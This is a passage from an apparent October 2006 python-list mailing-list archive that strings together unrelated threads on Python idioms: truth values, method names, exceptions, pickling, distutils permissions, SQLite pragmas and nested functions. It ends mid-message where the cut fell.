Vs lbh pna ernq guvf, lbh unir jnl gbb zhpu gvzr.


From cginboston at hotmail.com  Tue Oct  3 10:06:18 2006
From: cginboston at hotmail.com (Chaz Ginger)
Date: Tue, 03 Oct 2006 14:06:18 GMT
Subject: Best way to handle large lists?
In-Reply-To: <slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>
References: <prrUg.1662$We.477@trndny08>
	<jwjw-E75E09.09362703102006@news.isp.giganews.com>
	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>
Message-ID: <45226E5D.6010108@hotmail.com>

I've done that and decided that Python's 'list comprehension' isn't a
way to go. I was hoping that perhaps someone had some experience with
some C or C++ library that has a Python interface that would make a
difference.

Chaz

Sybren Stuvel wrote:
> Bill Williams enlightened us with:
>> I don't know enough about Python internals, but the suggested
>> solutions all seem to involve scanning bigList. Can this presumably
>> linear operation be avoided by using dict or similar to find all
>> occurrences of smallist items in biglist and then deleting those
>> occurrences?
> 
> And how would that beat O(n)? Every element of bigList has to be
> scanned at one point, either to compare it to every earlier element in
> bigList and eliminate it, or to compare it to every element in
> smallList.
> 
> Run benchmarks on the suggestions, and see which is fastest for
> yourself.
> 
> Sybren


From bignose+hates-spam at benfinney.id.au  Thu Oct 19 22:11:17 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 20 Oct 2006 12:11:17 +1000
Subject: Getting method name from within the class method
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<20061018145926.0e8d3277@opal.pathscale.com>
	<eh758p$pla$1@sea.gmane.org>
	<20061019175223.7f8b5f57@opal.pathscale.com>
Message-ID: <87lknbybwa.fsf@benfinney.id.au>

Mitko Haralanov <mitko at qlogic.com> writes:

> On Thu, 19 Oct 2006 08:16:57 +0200
> Fredrik Lundh <fredrik at pythonware.com> wrote:
>
> > why are you writing functions that needs to output their own name
> > a 100 times?  why should the program's *external* behaviour depend
> > on such an irrelevant detail of its internal design?  sounds like
> > lousy design to me.
>
> I am sorry if I sound defensive in my reply here, I am not trying to
> be.

I believe Frederik's abrasive approach is an attempt to help you be
dispassionate about your design, so that possible flaws can be
examined rationally.

> What does it matter why I am doing it? I only want to know if it's
> possible and if so, how?

Most programming forums, this one included, see a steady flow of
people who, having gone some way down a particular path, believe that
all they need is to be shown how to complete the journey. An
examination of the *actual* problem to be solved often shows that
there is a better way to go.

We prefer to know what actual problem is to be solved, so that false
starts can be terminated quickly, and a practical approach suggested
instead. Without knowing what the actual problem is, we can't know
what to suggest.

-- 
 \            "There was a point to this story, but it has temporarily |
  `\                 escaped the chronicler's mind."  -- Douglas Adams |
_o__)                                                                  |
Ben Finney



From irmen.NOSPAM at xs4all.nl  Sun Oct 22 13:50:22 2006
From: irmen.NOSPAM at xs4all.nl (Irmen de Jong)
Date: Sun, 22 Oct 2006 19:50:22 +0200
Subject: Altering the way exceptions print themselves
Message-ID: <453baf5f$0$324$e4fe514c@news.xs4all.nl>

Hello,

I want to alter the way exceptions print themselves.
More specifically, I'd like to extend the __str__ method of
the exception's class so that it is printed in a different way.

I used to replace the __str__ method on the exception object's
class by a custom method, but that breaks my code on Python 2.5
because of the following error I'm getting:

TypeError: can't set attributes of built-in/extension type 'exceptions.TypeError'

Well, ok. So I tried to improve my code and not alter the class,
but only the exception object. I came up with this:



def __excStr__(self):
     return "[[[EXCEPTION! "+self.originalStr()+"]]"


... some code that raises an exception 'ex' ....

import new
newStr = new.instancemethod( __excStr__, ex, ex.__class__)
ex.__str__=newStr


On Python 2.4 the above code works as I expect, however on Python 2.5
it doesn't seem to have any effect... What am I doing wrong?

Or is there perhaps a different way to do what I want?


Thanks!
--Irmen de Jong




From tim.peters at gmail.com  Sun Oct  1 16:17:38 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 1 Oct 2006 16:17:38 -0400
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <efogb5$g5d$1@sea.gmane.org>
References: <AE3C1DCB-458E-416B-A254-DB9C27C9949D@earthlink.net>
	<efogb5$g5d$1@sea.gmane.org>
Message-ID: <1f7befae0610011317s79bc5f2bg381a947dc731a92f@mail.gmail.com>

[Steve Holden, "pins the blame" for pauses on periodic cyclic gc]
> ...
> So basically what you have here is a pathological example of why it's
> sometimes wise to disable garbage collection. Tim, did I miss anything?

Nope!


From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 28 07:15:31 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 28 Oct 2006 21:15:31 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
	<1161973508.972142.109500@i42g2000cwa.googlegroups.com>
	<pan.2006.10.28.07.45.14.198030@REMOVE.THIS.cybersource.com.au>
	<pan.2006.10.28.09.42.42.894832@gmx.net>
Message-ID: <pan.2006.10.28.11.15.31.205739@REMOVE.THIS.cybersource.com.au>

On Sat, 28 Oct 2006 11:42:42 +0200, Marc 'BlackJack' Rintsch wrote:

> In <pan.2006.10.28.07.45.14.198030 at REMOVE.THIS.cybersource.com.au>, Steven
> D'Aprano wrote:
> 
>> On Fri, 27 Oct 2006 11:25:09 -0700, Carl Banks wrote:
>> 
>>> Iterators do have overlapping uses with lists, but the "if a:" doesn't
>>> work for them, so it's moot.
>> 
>> Sure it works for iterators.
>> 
>>>>> it = iter([0])
>>>>> bool(it)
>> True
>>>>> it.next()
>> 0
>>>>> bool(it)
>> False
> 
> It works for *this* iterator.  By accident.

Blimey, you're right. That can't be good.

In fact, it made a certain BDFL pretty mad:

http://mail.python.org/pipermail/python-dev/2005-September/056594.html

Okay, so all iterators are intentionally *supposed* to be True, always,
even if they are exhausted. As Guido says, don't treat iterators as
containers.

Fair enough.


-- 
Steven.



From george.sakkis at gmail.com  Thu Oct 19 00:01:36 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 18 Oct 2006 21:01:36 -0700
Subject: Getting method name from within the class method
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<mailman.722.1161208770.11739.python-list@python.org>
Message-ID: <1161230496.293074.122990@k70g2000cwa.googlegroups.com>

Mitko Haralanov wrote:

> On 18 Oct 2006 14:38:12 -0700
> yellowalienbaby at gmail.com wrote:
>
> > >>> class test(object):
> > ...  def a_method(self,this,that):
> > ...   print self.a_method.__name__
>
> Doing the above will obviously work!
>
> However, I don't want to have to use the name of the function in the
> print statement (the ".a_method." part). Imagine having about 100 of
> the above print statements in the function and then you change the name
> of the function. I want all 100 of the print statements to work without
> having to change every one of them to reflect the new function name.

from inspect import getframeinfo,currentframe

class test(object):
    def a_method(self,this,that):
        print getframeinfo(currentframe())[2]


If you *really* have about 100 functions or methods you want to print
their names, don't copy and paste this all over the place; use a
decorator instead so that you can just write:

class test(object):
    @print_name
    def a_method(self,this,that):
        pass

    @print_name
    def b_method(self,this,that):
        pass

The definition of print_name is left as an exercise to the reader.

HTH,
George



From fredrik at pythonware.com  Thu Oct  5 02:32:14 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 08:32:14 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg288r$ff6$4@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net><tCJUg.134232$zy5.1829450@twister1.libero.it>	<eg0899$9g5$1@sea.gmane.org>	<eg09i9$eod$1@sea.gmane.org>	<eg0cu8$qtt$1@sea.gmane.org>	<eg18m3$833$1@sea.gmane.org>
	<eg288r$ff6$4@sea.gmane.org>
Message-ID: <eg28te$iqf$1@sea.gmane.org>

Steve Holden wrote:

> Excellent. I've just complained elsewhere in this thread that those 
> dissenting didn't appear to want to rectify the situation by offering 
> their time. It would be nice to be wrong about that.

the dissenting won't contribute a thing, of course.  they never ever do. 
  but not everyone is wired that way.

</F>



From esj at harvee.org  Mon Oct  9 19:17:22 2006
From: esj at harvee.org (Eric S. Johansson)
Date: Mon, 09 Oct 2006 19:17:22 -0400
Subject: distutils:permissions problems
In-Reply-To: <452AD246.5010507@v.loewis.de>
References: <mailman.142.1160430231.11739.python-list@python.org>
	<452AD246.5010507@v.loewis.de>
Message-ID: <452AD882.7090200@harvee.org>

Martin v. L?wis wrote:
> Eric S. Johansson schrieb:
>> The problem is that, because of a quirk (or misfeature) of VM Ware
>> shared filesystem, all of the directories and files are owned by root
>> with a 700 permissions.  When I run setup.py install, they are installed
>> as root with 700 permissions.  How can I alter the behavior of distutils
>> so that my modules could be installed with a more useful user and
>> permissions?
> 
> I recommend to change the permissions after the files have been
> installed. If you absolutely have to change setup.py, you should inherit
> from the install_lib and install_scripts commands, and either override
> the "install" method to install using a different umask, or you should
> look at the get_outputs() result of the command, and modify the files
> after they got installed.
> 
> You might also try changing your umask.

thank you for your kind reply.  I have already tried changing umask. 
The vmware filesystem has its own interpretation of permissions and 
access which bears absolutely no resemblance to either the UNIX or the 
NT models.  It feeds false data into the system and well, we get to have 
this conversation.  :-)

I'm currently changing permissions afterwards and that's a source of 
installation breakage because the same information is stored in multiple 
places.  I might be able to unify things if I can figure out how to make 
all components reference everything in a setup.cfg file.

your suggestion about modifications isn't all that horrible because I'm 
already doing a significant amount of work that isn't covered by the 
distutils code as documented.  thank you for the pointers to additional 
functionality that might be useful to me.

---eric

> 
> Regards,
> Martin
> 



From sjmachin at lexicon.net  Fri Oct  6 02:43:10 2006
From: sjmachin at lexicon.net (John Machin)
Date: 5 Oct 2006 23:43:10 -0700
Subject: Pysqlite tables in RAM
In-Reply-To: <1160114966.864979.193390@h48g2000cwc.googlegroups.com>
References: <1159527458.488317.67350@b28g2000cwb.googlegroups.com>
	<mailman.942.1159540556.10491.python-list@python.org>
	<1160114966.864979.193390@h48g2000cwc.googlegroups.com>
Message-ID: <1160116990.467639.302720@i3g2000cwc.googlegroups.com>


Ranjitha wrote:
> Fredrik Lundh wrote:
>
> > Ranjitha wrote:
> >
> > > I want to store my data in a database on the disk. I also want to be
> > > able to reload the tables into the RAM whenever I have a lot of disk
> > > accesses and commit the changes back to the database.
> >
> > using the cache_size and synchronous pragmas sounds like a better way to
> > trade reliability against speed/memory use.  e.g.
> >
> > table_memory = 100000000 # bytes
> > cur.execute("pragma cache_size = %d;" % (table_memory / 1500))
> >
> > ...
> >
> > cur.execute("pragma synchronous = off;")
> > # do lots of stuff
> > cur.execute("pragma synchronous = full;")
> >
> > for more on this, see: http://www.sqlite.org/pragma.html
> >
> > </F>
>
> Thanks a lot for the help but could you please elaborate on this. I'm
> finding it difficult to follow the link you sent me. The jargon seems
> all too new for me.
>

For a start, you don't need to read the whole page, just the sections
on "cache_size" [the more memory in the cache, the faster it will run
-- up to a point, which you could experiment  with] and "synchronous"
[off = faster/dangerous, on = slower/safer].

It would help greatly if you said which particular words or phrases you
don't understand, plus give an assurance that you have made *some*
effort to help yourself e.g. googled the puzzling words/phrases  ...

Have you actually tried doing what Fredrik suggested?



From pavlovevidence at gmail.com  Fri Oct 27 14:25:09 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 27 Oct 2006 11:25:09 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1341.1161943345.11739.python-list@python.org>
	<slrnek3ohb.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1342.1161948402.11739.python-list@python.org>
	<slrnek3rko.aqe.apardon@rcpc42.vub.ac.be>
	<mailman.1345.1161950058.11739.python-list@python.org>
	<pan.2006.10.27.14.03.18.314595@REMOVE.THIS.cybersource.com.au>
Message-ID: <1161973508.972142.109500@i42g2000cwa.googlegroups.com>

Steven D'Aprano wrote:
> But in this specific instance, I don't see any advantage to explicitly
> testing the length of a list. Antoon might think that is sufficiently
> polymorphic, but it isn't. He cares whether the object has zero _length_,
> but for true polymorphism, he should be caring about whether the object is
> _empty_. Not all empty objects have zero length, or even a length at all.
> (E.g. binary trees.)

Conversely, not all objects that have length consider zero-length to be
false.  Whether you test with "if a:" or "if len(a)>0", some objects
are going to be denied.

Thing is, objects that don't have length have almost no overlapping
uses with lists (i.e., you'd hardly ever write a function that could
take an int or a list, unless you type check the argument or use only
object protocol stuff like id and getattr, or pass it to another
function that does the same).  Iterators do have overlapping uses with
lists, but the "if a:" doesn't work for them, so it's moot.  OTOH,
objects that have length but don't consider zero-length to be false
(numpy arrays) do have overlapping uses with lists.

So, as a practical matter, I'd be inclined to side with Antoon on this
issue, even if it only increases polymorphism for certain people.

"if a:" almost never increases polymorphism because almost no
lengthless objects would work in that function anyways.  Even if you
don't use numpy arrays, there's little practical benefit of "if a:"
except to save typing.  If you do use numpy, it limits polymorphism.

"if len(a)>0" does increase polymorphism because it allows for objects
that have length but don't equate empty to false.

P.S. binary trees do have length: it's the number of nodes, just as the
number of keys is the length of a dict.  I can't think of any objects
that use indexing but don't have a length, except for
poorly-implemented proxy objects.  It's possible to define such types,
but would that be a Pythonic use of indexing?



Carl Banks



From richard.kessler at matteicos.com  Tue Oct 10 22:57:27 2006
From: richard.kessler at matteicos.com (Richard Kessler)
Date: Wed, 11 Oct 2006 02:57:27 +0000 (UTC)
Subject: Format a number as currency! I can't find any help on this simple
	problem.
Message-ID: <loom.20061011T044947-703@post.gmane.org>

I am relatively new to Python.  Love it, but I find things that I can do 
easily in .NET and cannot find a way to do in Python. I need to format a 
number as currency, for example 12343.56 to $12,343.56.

In C# all I need to do is decimal x = 12343.56 then x.ToString("$###,###.00");

I cannot find a way to do this in Python. I must be missing something very 
simple here. I have tried the locale module but it will not put in the commas. 
I hope I do not have to write my own formatting routine...surely one is out 
there and I just can't find it.

Running on XP Pro. Python 2.4.3.

Thanks much in advance,

Richard



From tjreedy at udel.edu  Wed Oct 25 21:29:57 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 25 Oct 2006 21:29:57 -0400
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu><17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org>
Message-ID: <ehp32i$u1$1@sea.gmane.org>


"Steve Holden" <steve at holdenweb.com> wrote in message 
news:ehoqhe$6iq$3 at sea.gmane.org...

>> the string class's "nil" value.  Each of the builtin types has such an
>> "empty" or "nil" value:
>>
>>     string              ""
>>     list                []
>>     tuple               ()
>>     dict                {}
>>     int                 0
>>     float               0.0
>>     complex             0j
>>     set                 set()
>>
>> Any other value besides the above will compare as "not false".
>>
>
> And today's question for the novices is: which Python type did Skip miss
> from the above list?

more that one:

0L
decimal.Decimal(0) # is decimal.Decimal('0'), also
u''
array.array('c') # or any other typecode, I suspect, without initializer

Terry Jan Reedy





From tjreedy at udel.edu  Thu Oct  5 12:08:32 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 5 Oct 2006 12:08:32 -0400
Subject: Why do this?
References: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58E@UKEX01.Digica.local>
Message-ID: <eg3alu$a97$1@sea.gmane.org>


"Matthew Warren" <Matthew.Warren at Digica.com> wrote in message 
news:D4F9316ACC9D20489CC81D19B8A87D5B039FE58E at UKEX01.Digica.local...
> I learned over the years to do things like the following, and I like
> doing it like this because of readability, something Python seems to
> focus on :-
>
> Print "There are "+number+" ways to skin a "+furryanimal

In python:
IDLE 1.1.3
>>> number = 3
>>> furryanimal = 'rat'
>>> print 'There are', number, 'of ways to skin a', furryanimal
There are 3 of ways to skin a rat

You have to remember that spaces are added automatically.
Printing a comma list is quite common in informal and preliminary work
and sometimes in finished work when its output is good enough.

> But nowadays, I see things like this all over the place;
>
> print("There are %s ways to skin a %s" % (number, furryanimal))

This gives more control over exact format of output.
Some people may also prefer having variables grouped together at end,
especially if they 'grew up' on C (for instance) rather than Basic.

Terry Jan Reedy





From http  Tue Oct  3 04:51:38 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 01:51:38 -0700
Subject: I need Cryptogrphy in Python please .
References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com>
	<1159863191.600082.78980@c28g2000cwb.googlegroups.com>
	<1159865178.605751.151280@i42g2000cwa.googlegroups.com>
Message-ID: <7xodst2351.fsf@ruckus.brouhaha.com>

"NicolasG" <nicolasg at gmail.com> writes:
> I have made a site using Karrigell as a web server and I want to
> provide cryptography services to the visitors. They should wirte their
> text on the site and be able choose different encryption algorithms to
> apply on the text .

Um, why?  Just as an exercise?  If that's the case, you might enjoy
implementing the algorithms in Python.  They'd be slow but that might
not matter.


From shejo284 at gmail.com  Wed Oct  4 07:29:31 2006
From: shejo284 at gmail.com (Sheldon)
Date: 4 Oct 2006 04:29:31 -0700
Subject: Resuming a program's execution after correcting error
In-Reply-To: <1159919897.485421.305490@m73g2000cwd.googlegroups.com>
References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com>
	<1159483617.159482.169770@i3g2000cwc.googlegroups.com>
	<1159889617.610051.100990@b28g2000cwb.googlegroups.com>
	<1159919897.485421.305490@m73g2000cwd.googlegroups.com>
Message-ID: <1159961371.260811.239240@c28g2000cwb.googlegroups.com>


MRAB wrote:
> Sheldon wrote:
> > MRAB wrote:
> > > Sheldon wrote:
> > > > Hi.
> > > >
> > > > Does anyone know if one can resume a python script at the error point
> > > > after the error is corrected?
> > > > I have a large program that take forever if I have to restart from
> > > > scratch everytime. The error was the data writing a file so it seemed
> > > > such a waste if all the data was lost and must be recalculated again.
> > > >
> > > You could modify the program while you're debugging it so that instead
> > > of, say:
> > >
> > >     calculate data
> > >     write data
> > >
> > > you have:
> > >
> > >     if saved data exists:
> > >         load data
> > >     else:
> > >         calculate data
> > >         save data
> > >     write data
> > >
> > > The pickle module would be useful here.
> > >
> > > Matthew
> >
> > I like your idea Matthew but I don't know how to pickle the many
> > variables in one file. Do I need to pickle each and every variable into
> > a seperate file?
> > var1,var2
> > pickle.dump(var1,f)
> > pickle.dump(var2,f2)
> >
> Using the 'pickle' module:
>
>     # To store:
>     f = open(file_path, "wb")
>     pickle.dump(var1, f)
>     pickle.dump(var2, f)
>     f.close()
>
>     # To load
>     f = open(file_path, "rb")
>     var1 = pickle.load(f)
>     var2 = pickle.load(f)
>     f.close()
>
> A more flexible alternative is to use the 'shelve' module. This behaves
> like a dict:
>
>     # To store
>     s = shelve.open(file_path)
>     s["var1"] = "first"
>     s["var2"] = [2, 3]
>     s.close()
>
>     # To load
>     s = shelve.open(file_path)
>     print s["var1"] # This prints "first"
>     print s["var2"] # This prints [2, 3]
>     s.close()
>
> Hope that helps
> Matthew

Perfect Matthew!

Much obliged!

/Sheldon



From yellowalienbaby at gmail.com  Wed Oct 18 18:14:20 2006
From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com)
Date: 18 Oct 2006 15:14:20 -0700
Subject: Getting method name from within the class method
In-Reply-To: <1161209436.684309.296870@m7g2000cwm.googlegroups.com>
References: <mailman.716.1161205201.11739.python-list@python.org>
	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<mailman.722.1161208770.11739.python-list@python.org>
	<1161209436.684309.296870@m7g2000cwm.googlegroups.com>
Message-ID: <1161209660.000389.319400@h48g2000cwc.googlegroups.com>


> for f in $(ls)
> do
>  sed -e "s/print self.a_method.__name__/print self.new_name.__name/g"
> done

thats a terrible bit of broken shell code, sorry !



From simon at brunningonline.net  Tue Oct  3 09:15:55 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Tue, 3 Oct 2006 14:15:55 +0100
Subject: Manipulate PDFs
In-Reply-To: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com>
References: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com>
Message-ID: <8c7f10c60610030615s3d562c2ds30a84ce61925d2ca@mail.gmail.com>

On 10/3/06, Weko Altamirano <wekoweko at gmail.com> wrote:
> Hi Everyone, am a developer using Zope and wanted to know if any of you have
> ever implemented a pdf generating/creating system using python? This just
> means mostly manipulating pdfs (create and/or edit) via web. If you guys
> have any suggestions or recommendations please post, thanks.

Does ReportLab do the trick for you?

-- 
Cheers,
Simon B,
simon at brunningonline.net


From Leo.Kislov at gmail.com  Wed Oct 11 00:32:27 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 10 Oct 2006 21:32:27 -0700
Subject: does raw_input() return unicode?
References: <12iln7en9ipit77@corp.supernews.com>
	<Xns98585798B4CC5duncanbooth@127.0.0.1>
Message-ID: <1160541147.208698.252310@e3g2000cwe.googlegroups.com>


Duncan Booth wrote:
> "Stuart McGraw" <smcg4191zz at friizz.RimoovAllZZs.com> wrote:
>
> > So, does raw_input() ever return unicode objects and if
> > so, under what conditions?
> >
> It returns unicode if reading from sys.stdin returns unicode.
>
> Unfortunately, I can't tell you how to make sys.stdin return unicode for
> use with raw_input. I tried what I thought should work and as you can see
> it messed up the buffering on stdin. Does anyone else know how to wrap
> sys.stdin so it returns unicode but is still unbuffered?

Considering that all consoles are ascii based, the following should
work where python was able to determine terminal encoding:

class ustdio(object):
    def __init__(self, stream):
        self.stream = stream
        self.encoding = stream.encoding
    def readline(self):
        return self.stream.readline().decode(self.encoding)

sys.stdin = ustdio(sys.stdin)

answer = raw_input()
print type(answer)



From ldo at geek-central.gen.new_zealand  Sun Oct  8 08:09:26 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 01:09:26 +1300
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<1160183076.034356.292780@i3g2000cwc.googlegroups.com>
	<1160184574.708331.78400@i3g2000cwc.googlegroups.com>
	<pan.2006.10.07.11.58.31.585485@REMOVE.THIS.cybersource.com.au>
	<1160222386.410987.230630@b28g2000cwb.googlegroups.com>
Message-ID: <egapno$sq9$1@lust.ihug.co.nz>

In message <1160222386.410987.230630 at b28g2000cwb.googlegroups.com>, John
Machin wrote:

> 
> Steven D'Aprano wrote:
>> On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote:
>>
>> >
>> > MonkeeSage wrote:
>> >> On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
>> >> > it is clearer to you to make the condition explicit ("blah not
>> >> > False"),
>> >>
>> >> "blah not False" -> "blah is False"
>> >
>> > Whichever way your team wants to interpret it, d00d.
>> >
>> > Please consider whether you should be writing "(blah is False) is
>> > True", that would be more explicit.
>>
>> Puh-lease! Get it right!
>>
>> It should be "((blah is False) is True) is True".
>>
> 
> Yes, but it stops after one more iteration. "What I tell you three
> times is true" -- the Bellman, "The Hunting of the Snark", by Lewis
> Carroll.

But that was only said once, wasn't it?


From sgilja at email.t-com.hr  Wed Oct 18 13:44:55 2006
From: sgilja at email.t-com.hr (Stens)
Date: Wed, 18 Oct 2006 19:44:55 +0200
Subject: characters in python
Message-ID: <eh5p68$qcl$1@ss408.t-com.hr>

Can python handle this characters: ?,?,?,?,??

If can how"


From MrJean1 at gmail.com  Thu Oct 19 15:49:47 2006
From: MrJean1 at gmail.com (MrJean1)
Date: 19 Oct 2006 12:49:47 -0700
Subject: wxPython help wxSashWindow
In-Reply-To: <1161266243.991025.174530@m7g2000cwm.googlegroups.com>
References: <1161266243.991025.174530@m7g2000cwm.googlegroups.com>
Message-ID: <1161287387.045121.179920@k70g2000cwa.googlegroups.com>

Take a look at the "wxSashWindow" example in the wxPython demo.   That
is located under the Core Windows/Controls item.

/Jean Brouwers


MatthewWarren wrote:
> Hi, I'm wondering if anyone can tell me here, or point to a specific
> tutorial (  I have searched for 1/2hour, but can find only reference
> style docs or not-quite-what-im-after help) on how to build a
> wxSashWindow in wxPython. I'm just starting out with wxPython, and the
> first thing i need to do is use 3 sash windows, 1 split vertically, and
> on the left and right of that a SashWindow splitting horizontally. I
> can make frames, buttons, use sizers etc.. as they are fairly
> intuitive, but SashWindow and SashLayoutWindow have stumped me.
> 
> Thanks,
> 
> Matt.



From horpner at yahoo.com  Thu Oct 26 14:57:54 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Thu, 26 Oct 2006 18:57:54 GMT
Subject: [OT] Win32 and forward/backslashes (was "The format of filename")
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>
	<mailman.1074.1161701843.11739.python-list@python.org>
	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>
	<slrnejsb2q.1pk.horpner@FIAD06.norwich.edu>
	<slrnejsc0e.1pk.horpner@FIAD06.norwich.edu>
	<l8l0k25bvmcdpm6tmd7rnkodd6i7um9l23@4ax.com>
	<4540B26D.1020609@tim.thechases.com> <4540E98A.2080400@probo.com>
	<mailman.1289.1161883872.11739.python-list@python.org>
Message-ID: <Sy70h.7822$5i7.7184@newsreading01.news.tds.net>

On 2006-10-26, Tim Chase <python.list at tim.thechases.com> wrote:
> There's no "zip" in the "baz" directory, so let's copy it
> there:
>
> C:\temp>copy foo/bar/zip foo/baz
> foo\zip
> Overwrite foo\zip? (Yes/No/All): y
> The file cannot be copied onto itself.
>          0 file(s) copied.
>
> What the [expletive]!?  Well, there's a "zip" in our temp
> directory, but no "pip".  How about we try copying "pip" to the
> "baz" directory instead while keeping the same syntax as above?
>
> C:\temp>copy foo/bar/pip foo/baz
> The syntax of the command is incorrect.
>
> BLOODY MADNESS!
>
> Some OS programmer doesn't seem to have graduated from their
> CompSci program...

It comes from every DOS command traditionally doing it's own path
globbing and unglobbing since the shell doesn't do it. You would
think that a library would've been available to DOS programmers
to unify that procedure, but apparently not.

-- 
Neil Cerutti



From bearophileHUGS at lycos.com  Sun Oct  8 08:27:29 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 8 Oct 2006 05:27:29 -0700
Subject: need some regular expression help
In-Reply-To: <mailman.50.1160302593.11739.python-list@python.org>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<roy-35D3AC.22300607102006@reader1.panix.com>
	<mailman.41.1160277488.11739.python-list@python.org>
	<1160302110.502512.152280@i42g2000cwa.googlegroups.com>
	<mailman.50.1160302593.11739.python-list@python.org>
Message-ID: <1160310449.881879.204910@k70g2000cwa.googlegroups.com>

Fredrik Lundh wrote:

> it's slightly faster, but both your alternatives are about 10x slower
> than a straightforward:
> def balanced(txt):
>      return txt.count("(") == txt.count(")")

I know, but if you read my post again you see that I have shown those
solutions to mark ")))(((" as bad expressions. Just counting the parens
isn't enough.

Bye,
bearophile



From anthra.norell at vtxmail.ch  Sat Oct 28 12:20:43 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Sat, 28 Oct 2006 18:20:43 +0200
Subject: Where do nested functions live?
In-Reply-To: <ehv2l1$a23$1@sea.gmane.org>
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>
	<ehv2l1$a23$1@sea.gmane.org>
Message-ID: <4543835B.9020903@vtxmail.ch>

Fredrik Lundh wrote:
> Steven D'Aprano wrote:
>
>   
>> I defined a nested function:
>>
>> def foo():
>>     def bar():
>>         return "bar"
>>     return "foo " + bar()
>>
>> which works. Knowing how Python loves namespaces, I thought I could do
>> this:
>>
>>     
>>>>> foo.bar()
>>>>>           
>> Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>> AttributeError: 'function' object has no attribute 'bar'
>>
>> but it doesn't work as I expected.
>>
>> where do nested functions live?
>>     
>
> in the local variable of an executing function, just like the variable 
> "bar" in the following function:
>
>      def foo():
>          bar = "who am I? where do I live?"
>
> (yes, an inner function is *created* every time you execute the outer 
> function.  but it's created from prefabricated parts, so that's not a 
> very expensive process).
>
> </F>
>
>   
If I may turn the issue around, I could see a need for an inner function 
to be able to access the variables of the outer function, the same way a 
function can access globals. Why? Because inner functions serve to 
de-multiply code segments one would otherwise need to repeat or to 
provide a code segment with a name suggestive of its function. In either 
case the code segment moved to the inner function loses contact with its 
environment, which rather mitigates its benefit.
   If I have an inner function that operates on quite a few outer 
variables it would be both convenient and surely more efficient, if I 
could start the inner function with a declaration analogous to a 
declaration of globals, listing the outer variables which I wish to 
remain writable directly.
   I guess I could put the outer variables into a list as argument to 
the inner function. But while this relieves the inner function of 
